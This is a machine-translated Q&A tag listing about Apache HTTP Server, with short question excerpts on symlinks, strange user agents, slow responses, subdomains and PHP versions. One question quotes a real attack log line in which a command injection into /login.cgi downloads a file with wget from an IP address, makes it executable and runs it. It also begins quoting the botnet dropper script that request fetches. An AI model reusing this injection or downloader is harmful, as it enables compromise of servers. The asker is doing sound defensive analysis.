Questions tagged «apache-http-server»

Apache是​​Apache HTTP服务器的一个广为人知的术语,Apache HTTP服务器是由Apache Software Foundation维护的非常常用的Web服务器软件。如果您的问题与其他Apache软件(例如Tomcat或log4j)有关,则http://stackoverflow.com/是一个更好的选择。



4
如何让Apache遵循符号链接?
在我的apache www文件夹中(/var/www在ubuntu 10.10上),我有: mydir -> /home/user/mydir (是我用创建的ln -s) 现在,如果我想查看mydir网络中的文件列表,则必须给apache指令FollowSymLinks,对吗? 但是我放在哪里呢?在.htaccess文件中?哪里?我尝试了很多方法,但我不明白... 这是我的/etc/apache2/sites-enabled/000-default文件: <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www <Directory /> Options FollowSymLinks Indexes AllowOverride None </Directory> <Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all </Directory> ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ <Directory "/usr/lib/cgi-bin"> AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch …





6
什么是Apache Synapse?
我的网站不断受到以下用户代理字符串的奇怪请求的打击: Mozilla/4.0 (compatible; Synapse) 使用我们的友好工具Google,我能够确定这是我们友好社区Apache Synapse的标志性电话卡。“轻量级ESB(企业服务总线)”。 现在,基于我能够收集到的信息,我仍然不知道此工具的用途。我只能说这与Web服务有关,并且支持多种协议。“信息”页面仅使我得出结论,它与代理和Web服务有关。 我遇到的问题是,尽管通常我不会在乎,但我们受到了俄罗斯IP的相当大的打击(并不是说俄语很差,但我们的站点是特定于地区的),而当他们这样做时,将奇怪的值(至少不是xss / malicious)推入我们的查询字符串参数中。 事情是这样&PageNum=-1或&Brand=25/5/2010 9:04:52 PM。 在继续从我们的网站阻止这些ips / useragent之前,我需要一些帮助来了解正在发生的事情。 任何帮助将不胜感激 :)


2
这个bash脚本做什么?[尝试失败]
我一直在注意服务器apache日志,最近有以下奇怪的几行: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" 因此,我做了一个自定义的Fail2Ban过滤器,并开始禁止请求这些/login.cgi URL的IP。 但是我对他们正在尝试执行的操作感到好奇,因此我撤消了他们正在尝试执行的脚本,但我似乎无法弄清楚它到底在做什么。关于删除/ var和/ tmp中的arch文件夹的东西? 无论如何,这里是: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name …

2
Windows上的Apache 2.4响应缓慢,服务一些动态页面时挂起
(我知道这个问题的答案。发布此信息只是为了与社区分享答案) 在提供某些URL时,我的Apache 2.4本地(Windows 7)实例遇到延迟或挂断,具体取决于我使用哪种浏览器访问这些URL。 使用Firefox / Chrome,Apache 对某些URL的响应速度很慢。在任何给定的URL上,呆滞发生的时间约为20%。发生这种情况时,Firefox将有5秒钟的延迟,在此期间Firefox会显示“正在等待...”状态。 使用Internet Explorer 9,Apache会简单地挂起并停止(使用任何浏览器)处理任何请求,直到重新启动为止。 这似乎仅在动态(PHP)请求中发生,而并非在所有请求中都发生。实际上,它仅在一个特定站点上发生。同一台计算机上的其他基于PHP的站点都可以正常工作。 问题站点包含大量子域(VirtualHosts)可能重要,也可能不重要。 禁用Windows防火墙和Comodo防火墙无济于事。 该页面似乎在“繁忙”的页面上更为常见(对IFRAMES的其他请求等) 我尝试了许多更改httpd.conf(例如禁用KeepAlive,EnableMMAP,HostnameLookups),但似乎没有任何效果。


6
要使Raspberry Pi托管一个带有刻度盘的网页,该刻度盘实时指示CPU温度,CPU负载等,该怎么办?
我擅长Unix命令和脚本编写,但是我几乎没有网络经验。我有一个脚本,可以捕获我感兴趣的指标,例如CPU负载或系统温度,并每10秒更新一次文件。我想将iPad指向由Raspberry Pi托管的本地网站,该网站具有实时更新的数据图形表示。 在设置简单的Apache Web服务器之前,我已经工作过,并且可以编写HTML和JavaScript。除此之外,我迷路了,需要有人指出我正确的方向。

1
如何在基于名称的虚拟主机上创建子域?
我有基于名称的托管,让我们称之为my.address.com。我的朋友拥有“普通”地址,address.com并给了我一个可以通过SSH访问的虚拟机。 他还对端口进行了一些魔术设计,现在,在安装Apache之后,我可以/var/www通过进行访问my.address.com。 所以,问题是,我怎样才能使像这样的子域test.my.address.com? Apache的Listening Directive应该有一些魔术,但我无法弄清楚。另外,我知道如何使用Apache创建本地可用的站点,但这并不相同。

2
为什么PHP版本在phpinfo()和CLI中有所不同?
我意识到,(在CLI中)phpinfo()和所报告的PHP版本之间缺少匹配php -v。 phpinfo(): 5.5.24 php -v: 5.6.9 我正在Mac OS X 10.10(Yosemite)上工作,并安装了库(php-version)尝试管理PHP版本。 它报告了我笔记本电脑上安装的3个不同版本: 5.4.41 5.5.25 * 5.6.9 我想在Apache和CLI中设置相同版本的PHP。 如何告诉Apache使用哪个PHP版本? 我试图在我的代码中写这行httpd.conf: LoadModule php5_module /usr/local/opt/php56/libexec/apache2/libphp5.so 然后: sudo apachectl restart 但是所有这些都不能解决问题……在我的PHP信息中,我仍然有:5.5.24

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.